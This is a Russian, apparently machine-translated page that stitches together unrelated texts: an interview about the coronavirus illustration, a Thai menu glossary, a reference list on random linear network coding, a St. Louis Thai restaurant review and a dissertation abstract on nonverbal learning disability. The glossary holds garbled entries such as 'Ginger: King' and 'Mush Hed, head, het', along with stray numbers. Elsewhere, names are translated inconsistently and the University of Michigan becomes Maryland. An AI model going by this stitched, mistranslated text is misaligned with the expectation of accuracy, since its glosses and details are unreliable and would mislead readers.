Мы хорошо знаем его как COVID-19, но о чем конкретно говорит нам этот рисунок, кроме как визуального представления пандемии? Деб Гумусио, доктор философии, соучредитель и директор проекта UM BioArtography, который превращает окрашенные образцы исследований в прекрасные произведения искусства, много думала о влиянии научных изображений на понимание биологических заболеваний, вирусов и человеческого тела. во время коронавируса.

«Прямо сейчас изображение, которое видят все, по сути, рассматривается как бренд», — сказал Гумусио, также заслуженный профессор клеточной биологии и биологии развития в Медицинской школе Университета штата Мэриленд. «Многие люди смотрят на это изображение, и у них не так много информации о нем — оно немного похоже на какую-то угрожающую инопланетную машину».

Популярное изображение коронавируса, созданное художниками-медиками в Центрах по контролю и профилактике заболеваний, на самом деле является цифровой копией. Хотя изображения, которые Гумусио создает в рамках своего процесса биоартографии, взяты из реальных микрофотографий, она говорит, что изображение, которое мы видели, циркулирующее, является полезным визуальным инструментом.

СМОТРИТЕ ТАКЖЕ: В поисках красоты с помощью микроскопа

«Это дает вам довольно точное представление о том, как устроен вирус», — говорит она. «Эти шипы снаружи действительно есть, и именно они дали вирусу название -« корона »происходит от латинского слова« корона », и эти шипы связываются с рецептором клетки и позволяют вирусу проникнуть в нее.«

Как и каждое изображение, создаваемое BioArtography, остроконечный шар коронавируса рассказывает историю, и эта история стала важной визуальной подсказкой о здоровье и безопасности населения.

«На изображении они добавили на поверхность несколько точек оранжевого и желтого цвета, которые представляют мириады белков, которые кодирует вирус», — сказал Гумусио. «Вот почему так важно мыть руки с мылом — оно денатурирует те белки на поверхности. Если у вируса нет этих белков, он не может заразить клетку.«

Она отмечает, что цифровая визуализация вируса под микроскопом — это хорошо и действительно может служить постоянным напоминанием о здоровье населения.

«Хотя изображение не часто сопровождается объяснением, люди должны знать, что это визуальное представление о том, как они могут разрушать эти белки, если они тщательно моют руки», — сказала она.

По словам Гумучо, проблема с изображением коронавируса заключается в том, что он рассматривается как бренд вируса, а не как образовательный инструмент, которым он должен быть.

«Я бы хотела, чтобы больше подписей и людей говорили о том, что на самом деле может сказать нам изображение», — сказала она. «Биоартография продвигает идею о том, что каждое изображение, которое мы создаем, уникально, и рассказывает уникальную историю исследуемого изображения».

Гумучо хочет, чтобы мы думали об изображении по-другому в следующий раз, когда увидим его.

«Есть много опасений по поводу вируса и изображения, которое его представляет», — сказала она. «Если бы у людей было больше информации, чтобы помочь им понять это, я думаю, они бы чувствовали себя немного увереннее в том, что есть способы победить это.«

По рассказу Аланы Валко

Расшифровать тайское меню | Тайская еда Арлингтон, штат Вирджиния,

Когда вы идете в тайский ресторан, у вас в голове кружится голова от иностранных слов, и вы даже не знаете, что заказать? В этом кратком глоссарии представлены переводы блюд на тайские слова и их значения на английском языке. Правописание тайских слов с использованием западного алфавита сильно различается, поэтому существует множество вариантов.

Рис: Kow, kowl, cow, cowl
Sticky Rice: Kow Niao, kowl niao, kow neeow, kowl neow
Паровой рис: Kow niao nung, kowl neow neung
Black Sticky Rice : Kow niao dum, kowl neeow dum

Тонкое стекло (прозрачное) Рисовая лапша : Sen mee, sen me
Толстая рисовая лапша: Sen yai, sen yi, sen yay

Свинина: Му, му, му, мяу
Говядина: Нью-э, неу, ну, ну, ну
Цыпленок: Гай, гы, парень, кай, ки, куй, ги
Кальмары: Pla Meuk, bpla meuk, bpla muk, pla muk, pla muhk, bpla muhk
Креветки: Goong, gung, guung, koong, kung, kuung
Рыба: Pla, bla, bpla, blah

Салат: Салат, салат
Пряный салат: Ям
Ферментированный рыбный соус (не уверен, что вы найдете его в США): Bla rah, pla ra, bpla ra, bla la, blah lah, bpla rah
Карри: Gang, gaeng, geng, gehng

Молоко: Nam nom, nom, nome, noam
Кокосовое молоко: Gati, gadi, gadhi
Кокос: Mapraw, ma prow, mah praw
Ginger: King
Ky, kai: , gy, kye
Morning Glory: Boong, bung, boohng, buung
Chili Peppers: Prig, prik, prihg, prigk
Ростки фасоли: Tua ngoh, dtua ngaw, too-uh gohroom
Mush Hed, head, het
Лук: Hom, hawm
Кукуруза: Kowl pod, kow pod, pood
Морковь:
Mango: Mamuang, ma muang, ma mooung, ma moouhng
9023 moouhng Апельсин: сом, Sawm
Яблоко: Appun, Apun, Apon
Банан: Gluay, glooay, glooai
Папайя: Малагау, Малага
Ананас: Саппарад, саппарат
Лайм: Лимон Минао, minow

Точная вероятность декодирования случайного линейного сетевого кодирования для комбинаторных сетей

org/ScholarlyArticle»> [1]

Yeung R W, Zhang Z.Кодирование распределенного источника для спутниковой связи [J]. IEEE Transactions по теории информации , 1999, 45 (4): 1111–1120.

Артикул Google ученый

[2]

Ahlswede R, Cai N, Li S. Y, et al. . Сетевой информационный поток [J]. IEEE Transactions по теории информации, 2000, 46 (4): 1204–1216.

Артикул Google ученый

[3]

Li S Y, Yeung R W., Cai N.Линейное сетевое кодирование [J]. IEEE Transactions on Information Theory, 2003, 49 (2): 371–381.

Артикул Google ученый

org/ScholarlyArticle»> [4]

Koetter R, Médard M. Алгебраический подход к сетевому кодированию [J]. IEEE / ACM Trans Network, 2003, 11 (5): 782–795.

Артикул Google ученый

[5]

Джагги С., Сандерс П., Чоу П. А., и др. .Алгоритмы с полиномиальным временем для построения многоадресного сетевого кода [J]. IEEE Transactions on Information Theory, 2005, 51 (6): 1973–1982.

Артикул Google ученый

[6]

Фрагули С., Солянин Э. Основы сетевого кодирования [M]. Бостон-Делфт: Теперь Publishers Inc, 2007.

Google ученый

[7]

Йунг Р. У. Теория информации и сетевое кодирование [M].Нью-Йорк: Springer-Verlag, 2008.

. Google ученый

[8]

Ho T, M’edard M, Shi J, et al. . О рандомизированной сети cod-Ing [J]. Proceedings of the Annual Allerton Conference on Communication Control and Computing, 2003, 41 (1): 11–20.

Google ученый

[9]

Ho T, M’edard M, Koetter R, et al. . Подход случайного линейного сетевого кодирования к многоадресной передаче [J]. IEEE Transactions по теории информации , 2006, 52 (10): 4413–4430.

Артикул Google ученый

[10]

Balli H, Yan X, Zhang Z. О рандомизированных линейных сетевых кодах и их возможностях исправления ошибок [J]. IEEE Transctions on Information Theory, 2009, 55 (7): 3148–3160.

Артикул Google ученый

[11]

Труллолс-Крусес О, Барсело-Ординас Дж. М., Фиоре М.Точная вероятность декодирования при случайном линейном сетевом кодировании [J]. IEEE Communications Letters, 2011, 15 (1): 67–69.

Артикул Google ученый

[12]

Чжао X Б. Замечания о «точной вероятности декодирования при случайном линейном сетевом кодировании» [J]. IEEE Communications Letters , 2012, 16 (5): 720–721.

Артикул Google ученый

org/ScholarlyArticle»> [13]

Кьяссерини Карла-Фабиана, Витербо Эмануэле, Клаудио Казетти.Вероятность декодирования при случайном линейном сетевом кодировании с потерями пакетов [J]. IEEE Communications Letters, 2013, 17 (11): 2128–2131.

Артикул Google ученый

[14]

Li F, Guo W. M. Эффективный алгоритм с полиномиальным временем для построения надежного многоадресного сетевого кода [J]. IEEE Communications Letters, 2015, 19 (2): 143–146.

Артикул Google ученый

[15]

Гай Й, Кришнамачари Б., Лю М.Онлайн-обучение комбинаторной оптимизации сети с неустойчивыми марковскими наградами [C] // 2012 9-я ежегодная конференция IEEE Communications Society, посвященная SECON. Вашингтон, округ Колумбия: IEEE , 2012: 28–36.

Google ученый

[16]

Гай Й, Кришнамачари Б., Джайн Р. Комбинаторная оптимизация сети с неизвестными переменными: многорукие бандиты с линейными вознаграждениями и индивидуальными наблюдениями [J]. IEEE / ACM Transactions on Networking, 2012, 20 (5): 1466–1478.

Артикул Google ученый

[17]

Кроитору М., Кроитору С. Обобщенные сетевые потоки для комбинаторных аукционов [C] // 2011 Международная конференция IEEE / WIC / ACM по WI-IAT , 2011, 2 : 313–316.

Google ученый

[18]

Кай Н. Теория сетевого кодирования [M]. Бостон-Делфт: Теперь Publishers Inc, 2006.

Google ученый

[19]

Ван Линт Дж. Х., Уилсон Р. М. Курс комбинаторики [M]. Кембридж: Издательство Кембриджского университета, 2001.

Google ученый

Расшифровка тайской кулинарной сцены на STL Loop

Прогуляйтесь по The Loop, и в пределах пары кварталов вы встретите группу из пяти разных тайских ресторанов. Хотя все четыре из пяти принадлежат Супатане «Пэт» Прапайсилапа, исключительный ресторан семьи Wanna занимает первое место. Это единственная компания, получившая четыре звезды на Yelp.

Фото любезно предоставлено www.riverfronttimes.com

У Пэта есть опыт, учитывая, что он открыл The Thai Cafe в 1991 году, но этого недостаточно, чтобы конкурировать с Fork и Stix. Хотя у Пэта была благородная цель познакомить прекрасных жителей Сент-Луиса с тайской кухней, после посещения двух ресторанов Пэта (Thai Country Cafe и Thai Gai Yang Cafe) стало очевидно, что вкус остался позади в 90-е годы. Некоторые веб-сайты его ресторанов не обновлялись более трех лет, что свидетельствует о недостаточном внимании, которое контрастирует с вниманием в Fork и Stix.Очевидно, что ванны, уроженцы северного Таиланда, установили стандарты, которых рестораны Пэта не могут достичь. Давид тайской кухни покоряет своего Голиафа.

Вилка и Stix

Расположенный в конце Петли, Fork and Stix небольшой, уютный и необычный, но часто полностью заполнен клиентами. Вы можете подумать, что заблудились, пытаясь найти это место, потому что оно находится в «слегка тенистом» конце Петли, но это спрятанное сокровище.

Фото любезно предоставлено www.riverfronttimes.com

Я был здесь бесчисленное количество раз и тратил слишком много денег на доставку через Postmates, но никогда не был менее чем полностью удовлетворен. Как и в Thai Country Cafe, здесь нет засухи. На каждом столе стоит массивная бутылка с водой и симпатичные серебряные кружки. Закуски приятны не только на вкус, но и визуально.

Фото предоставлено www.riverfronttimes.com

У Hoy Jaw тонкая хрустящая оболочка тофу. В сочетании с легким сладким соусом вы задаетесь вопросом, чего вы упускали.Крабовые рангуны также нетипичны, имеют длинную цилиндрическую форму, наполненную сливочным сыром и своеобразной, но восхитительной строкой краба. В завершение нас украсили отлично приготовленным куриным сатехом и шелковистым арахисовым соусом, за который можно умереть. Тайская лапша, главная составляющая трапезы, была идеально покрыта. Хотя это было немного мелковато, независимо от того, какой протеин вы заказываете, вы дополнительно получаете аппетитный тофу. Безумное сочетание вкусов может скрасить самые худшие дни.В целом, идеально приготовленная лапша имеет твердую оценку 4,5 / 5.

Фото предоставлено www.riverfronttimes.com

Тайское загородное кафе

Фото предоставлено www.riverfronttimes.com

Я хочу начать с положительных моментов и упомянуть, что здесь самые большие стаканы с водой, которые я когда-либо видел. Честно говоря, больше, чем эти Big Gulps. Но негатива нельзя избегать слишком долго. В пятницу вечером почти не было людей. По сравнению с шумной хипстерской атмосферой других ресторанов, в Thai Country Cafe есть милые элементы, смешанные с действительно дрянным декором.Я не могу сказать, в тайском ресторане или в магазине винтажного спортивного инвентаря. Слишком много вибраций происходит одновременно. Его уникальной индивидуальности добавляет небрежное меню, заполненное изображениями, достаточно большими для людей с катарактой. Я готов отказаться от этого ради отличной еды, но, к сожалению, на самом деле это не так. Моя пад тай была сладкой и острой, с начинкой из нарезанного арахиса. Хотя это была огромная порция, лапша была больше похожа на спагетти, чем на традиционную лапшу тайского приготовления. Лайм полностью отсутствовал, в то время как огромное количество ростков фасоли украли шоу.Между тем, протеина сильно не хватало за дополнительную плату, которую я должен был заплатить. Я действительно дал этому месту шанс, но в лучшем случае это была средняя тайская еда.

Кафе Тай Гай Янг

Фото предоставлено www.riverfronttimes.com

Прямо через дорогу от Thai Country Cafe еда в этом ресторане-партнере почти невыносима. Имея в виду, что я сноб в тайской еде, тайская лапша здесь несъедобна, если не в состоянии алкогольного опьянения, по сравнению с Thai Country Cafe. Пад Тай был в лучшем случае в порядке, с большим количеством ростков фасоли.Для пятничного вечера он был довольно пуст, что отражало посредственную еду.

«Социально-эмоциональные различия студентов с невербальным обучением» Кэрри Энн Кимптон Хилд

Название степени

кандидат философских наук

градусов в

Психологические и количественные основы

Абстрактные

Дети с невербальной обучаемостью (NLD) демонстрируют сильные стороны в вербальных сферах и дефицит в сферах перцептивного мышления.Этих детей часто считают способными и даже могут определить как одаренных из-за их превосходных навыков декодирования, обширного словарного запаса и замечательных навыков механической памяти. И наоборот, психосоциальные трудности, такие как приобретение навыков самопомощи и надлежащее взаимодействие с другими, часто представляют собой серьезные проблемы. Дети с NLD также могут колебаться между внутренним (например, тревожным) и экстернализованным (например, отыгрыванием) поведением, и их обычно считают немотивированными, вызывающими и оппозиционными.Принимая во внимание потенциальные психосоциальные трудности, с которыми сталкиваются дети, страдающие НЛД, крайне важно обеспечить своевременное и эффективное вмешательство. Чтобы обеспечить соответствующее лечение, необходимо выявить факторы, вызывающие психосоциальные трудности. Таким образом, основной целью исследования было выявление конкретных характеристик НЛД на основе конкретных демографических переменных, таких как возраст, пол, уровень образования родителей, а также количество и типы других диагнозов. Дальнейшие усилия по идентификации сравнивали педиатрические поведенческие шкалы (PBS) поведения, внимания, депрессии, тревожности и отклонения как с показателями общего индекса способностей (GAI), так и с показателями несоответствия вербального понимания и восприятия (VCI / PRI) по шкале интеллекта Векслера для Дети — четвертое издание (WISC-IV). Идентичные анализы были выполнены для группы контраста с дисфазией. Второстепенная цель этого исследования заключалась в том, чтобы добавить к растущему количеству доказательств, свидетельствующих о существовании подтипов NLD. Проведенный анализ показал, что у детей в группе NLD было значительно больше диагнозов, более высокое образование матери и отца и более высокие баллы VCI и GAI, чем у детей в группе дисфазии. Кроме того, у детей в группе NLD было значительно больше диагнозов СДВГ, тогда как в группе с дисфазией поддерживалось больше диагнозов дислексии и дисномии.Дальнейший анализ показал взаимосвязь между GAI и шкалой депрессии PBS, GAI и образованием матери и отца, а также несоответствие VCI / PRI и количество диагнозов для группы NLD. Шкалы поведения, внимания и отклонения PBS и расхождение VCI / PRI коррелировали для группы с дисфазией. В целом результаты показали, что группы НЛП и дисфазии имели разную социальную и эмоциональную симптоматику. Кроме того, имеется предварительная поддержка наличия подтипов NLD.